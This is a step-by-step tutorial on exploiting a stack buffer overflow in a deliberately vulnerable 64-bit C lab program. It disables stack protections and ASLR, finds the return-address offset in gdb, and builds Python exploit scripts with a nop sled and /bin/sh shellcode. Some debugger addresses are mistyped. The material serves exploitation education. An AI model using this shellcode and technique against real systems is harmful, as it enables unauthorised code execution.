

# Step-by-step guide for buffer overflow (64 bit architecture)

Notes by Simone Aiello

## Simple buffer overflow

The vulnerable source code is the following:

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void greet_me(char *who){
    char name[200];
    strcpy(name,who);
    printf("Hi there %s !\n",name);
}

int main(int argc, char *argv[]){

    if(argc < 1){
        exit(1);
    }
    greet_me(argv[1]);

    return 0;
}
```

The vulnerable function is **strcpy** because it does not check the length. Compile it using

```
gcc -m64 -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -o vuln
vuln.c
```

- **-fno-stack-protector** disables **canaries**
- **-z execstack** allows **executable code to be run inside the stack** (NX bit off)
- **-m64** specifies the architecture (64-bit in out case)

To check whether the following security measure are disabled start gdb and then use the following command:

```
checksec vuln
```

The output should be this.

```
Canary             : X  
NX                 : X  
PIE                : ✓  
Fortify            : X  
RelRO              : Partial
```

Last thing to do is to disable ASLR on our machine

```
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
```

## Finding the offset

This is the first step. we want to find out at what offset we start overwriting the rip saved on the stack. Start the debugger using

```
gdb vuln
```

Create a 350 character long pattern using

```
pattern create 350
```

```
gef> pattern create 350  
[+] Generating a pattern of 350 bytes (n=8)  
aaaaaaaaabaaaaaaaacaaaaaadaaaaaaaaaaaaaaaaaafaaaa  
aaaayaaaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabe
```

In this case 350 is enough to make the program go in Segmentation Fault, for other programs you may increase this size.

Set a breakpoint to main

```
b main
```

And run the executable by giving in input the big string

```
run <copy_pattern_here>
```

We know that in this case the vulnerability is inside the `greet_me` function, therefore we can disassemble the function using

```
disass greet_me
```

And place a breakpoint on the `ret` instruction:

```
b *0x0000555555551a4
```

```
gef> disass greet_me
Dump of assembler code for function greet_me:
   0x000055555555159 <+0>:      push    rbp
   0x00005555555515a <+1>:      mov     rbp, rsp
   0x00005555555515d <+4>:      sub     rsp, 0xe0
   0x000055555555164 <+11>:     mov     QWORD PTR [rbp-0xd8], rdi
   0x00005555555516b <+18>:     mov     rdx, QWORD PTR [rbp-0xd8]
   0x000055555555172 <+25>:     lea     rax, [rbp-0xd0]
   0x000055555555179 <+32>:     mov     rsi, rdx
   0x00005555555517c <+35>:     mov     rdi, rax
   0x00005555555517f <+38>:     call   0x55555555030 <strcpy@plt>
   0x000055555555184 <+43>:     lea     rax, [rbp-0xd0]
   0x00005555555518b <+50>:     mov     rsi, rax
   0x00005555555518e <+53>:     lea     rax, [rip+0xe6f]          # 0x555555556004
   0x000055555555195 <+60>:     mov     rdi, rax
   0x000055555555198 <+63>:     mov     eax, 0x0
   0x00005555555519d <+68>:     call   0x55555555040 <printf@plt>
   0x0000555555551a2 <+73>:     nop
   0x0000555555551a3 <+74>:     leave
   0x0000555555551a4 <+75>:     ret
End of assembler dump.
gef> b *0x0000555555551a4
Breakpoint 2 at 0x555555551a4
```

Type

```
c
```

To continue execution until the next breakpoint. Now we are just one step before the disaster, take a look at the current shape of the stack:

```
0x00007fffffffdae8 | +0x0000: "caaaaaabdaaaaaabaaaaaaabfaaaaaabgaaaaaabhaaaaaabia[...]" ← $rsp
0x00007fffffffdaef0 | +0x0008: "daaaaaabaaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabja[...]"
0x00007fffffffdaf8  | +0x0010: "eaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabka[...]"
0x00007fffffffdb00  | +0x0018: "faaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaabla[...]"
0x00007fffffffdb08  | +0x0020: "gaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabma[...]"
0x00007fffffffdb10  | +0x0028: "haaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabna[...]"
0x00007fffffffdb18  | +0x0030: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]"
0x00007fffffffdb20  | +0x0038: "jaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpa[...]"
```

When the next instruction (`ret`) will be executed, the content "pointed" by the `rsp`

is going to be popped inside the rip. Copy the string pointed by the rsp (in my case caaa...) and run

```
pattern search <copied_string>
```

This will output an offset (216 in this case). This means that we have 216 chars of "space" before reaching the content of the rip. Now let the program crash by running

```
si
```

## Controlling the rip

To confirm that we are really able to control the rip we do the following thing:

```
gdb vuln
```

```
b main
```

```
run $(python -c "print('A'*216 + '\x41\x41\x41\x41\x41\x41\x00\x00')")
```

```
c
```

The program crashed again but if we scroll up in the output we can see that the rip content is full of \x41.

```
AAAAAAAAAAAAA[...]"
$rip      : 0x41414141414141
$e8       : 0x400
```

Is someone is interested, to understand why I passed the return address as

```
\x41\x41\x41\x41\x41\x41\x00\x00
```

Go [here](#) and [here](#)

## Generating/Finding the shellcode

It's difficult to put this part into a guide since it depend on your machine and there is not a unique shellcode that works for everyone. Try to search on internet

some shellcode that works for you, this one works on my machine

```
\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05
```

I'll put a section below where I explain how to check if the exploit is not succeeding due to a "bad" shellcode in such a way that you can check if this is the issue. This is a good [website](#) for shellcodes, scroll down to the section Intel x86-64 and try the ones that exec /bin/sh.

## Finding a jumpable address

Let's write a simple python script

```
import sys
rip = b'\x41\x41\x41\x41\x41\x41\x00\x00'
shellcode =
b"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
nop = b'\x90' * 30
padding = b'A'*60
buf = b'A'*(216 - len(nop) - len(shellcode) - len(padding))
sys.stdout.buffer.write(buf + nop + shellcode + padding + rip)
```

- nops: are instructions that simply says to the CPU "do nothing", useful to "extend" the range of jumpable addresses. aka nop sled
- padding: a bit of padding is needed since the shellcode sometimes needs to push values on the stack (and without padding it will overwrite itself).  
We just need a valid return address (any address containing nops will be fine) and the exploit is complete. To find it:

```
gdb vuln
```

```
b main
```

```
run $(python exploit.py)
```

```
disass greet_me
```

```
b *0x0000555555551a4
```

0x0000555555551a4 is the address of the ret instruction inside greet\_me

```
c
```

Now we need to find a memory location containing nops. This command will output memory locations starting from the address pointed by rsp, scroll the output to search for a "column" containing only 0x90

```
x/300xg $rsp
```

In my case:

```
0x7fffffffefc8: 0x4141414141414141      0x9090909090909041
0x7fffffffef08: 0x9090909090909090      0x9090909090909090
0x7fffffffef08: 0x4890909090909090      0xf63148d23148c031
0x7fffffffef08: 0x6e69622f2fbb4850      0x5308ebc14868732f
0x7fffffffef08: 0x41050f3bb0e78948      0x4141414141414141
```

If the "column" is on the left, just copy the address, if it is on the right calculate the address with python

```
hex(left_column_address + 0x8)
```

## Get a shell

Now the exploit is complete (make sure to write the address as little endian)

```
import sys
rip = b'\xd8\xe0\xff\xff\xff\x7f\x00\x00'
shellcode =
b"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
nop = b'\x90' * 30
buf = b'A'*(216 - 30 - len(shellcode) - 60)
padding = b'A'*60
sys.stdout.buffer.write(buf + nop + shellcode + padding + rip)
```

```
gdb vuln
```

```
run $(python exploit.py)
```

## Troubleshooting shellcode

To check if your exploit is correct and the problem is the shellcode follow these steps:

```
gdb vuln
```

```
b main
```

```
run $(python exploit.py)
```

```
disass greet_me
```

```
b *address_of_the_ret
```

```
c
```

Look at the stack, you should see that `rsp` points to a location containing only nops

0x00007ffffffdb58	+0x0000: 0x00007fffffffe0d8	→ 0x9090909090909090	← \$rsp
0x00007ffffffdb60	+0x0008: 0x00007fffffffdc88	→ 0x00007fffffffe032	→ "/home
0x00007ffffffdb68	+0x0010: 0x0000000040000000		
0x00007ffffffdb70	+0x0018: 0x0000000000000004		
0x00007ffffffdb78	+0x0020: 0x00007ffff7dea6ca	→ <__libc_start_call_main+122>	
0x00007ffffffdb80	+0x0028: 0x0000000000000000		
0x00007ffffffdb88	+0x0030: 0x00005555555551a5	→ <main+0> push rbp	
0x00007ffffffdb90	+0x0038: 0x0000000040000000		

This is also confirmed by the execution flow

```

0x5555555519d <greet_me+68>    call    0x55555555040 <printf@plt>
0x555555551a2 <greet_me+73>    nop
0x555555551a3 <greet_me+74>    leave
0x555555551a4 <greet_me+75>    ret
↳ 0x7fffffffed8              nop
   0x7fffffffed9              nop
   0x7fffffffeda              nop
   0x7fffffffedb              nop
   0x7fffffffedc              nop
   0x7fffffffedd              nop

```

Here we can see that the ret instruction jump into our nop sled. If this is not the case you probably messed up some step before, like finding the jumpable address. If you see your nop sled, then, start "executing" all the nops using

```
si
```

At some point you will find assembly code

```

→ 0x7fffffffefee            xor    rax, rax
   0x7fffffffef1             xor    rdx, rdx
   0x7fffffffef4             xor    rsi, rsi
   0x7fffffffef7             push   rax
   0x7fffffffef8             movabs rbx, 0x68732f6e69622f2f
   0x7fffffffef102           shr    rbx, 0x8

```

Compare with the assembly of the shellcode you are using, if the match there is an high probability that the problem is the shellcode, try different payloads.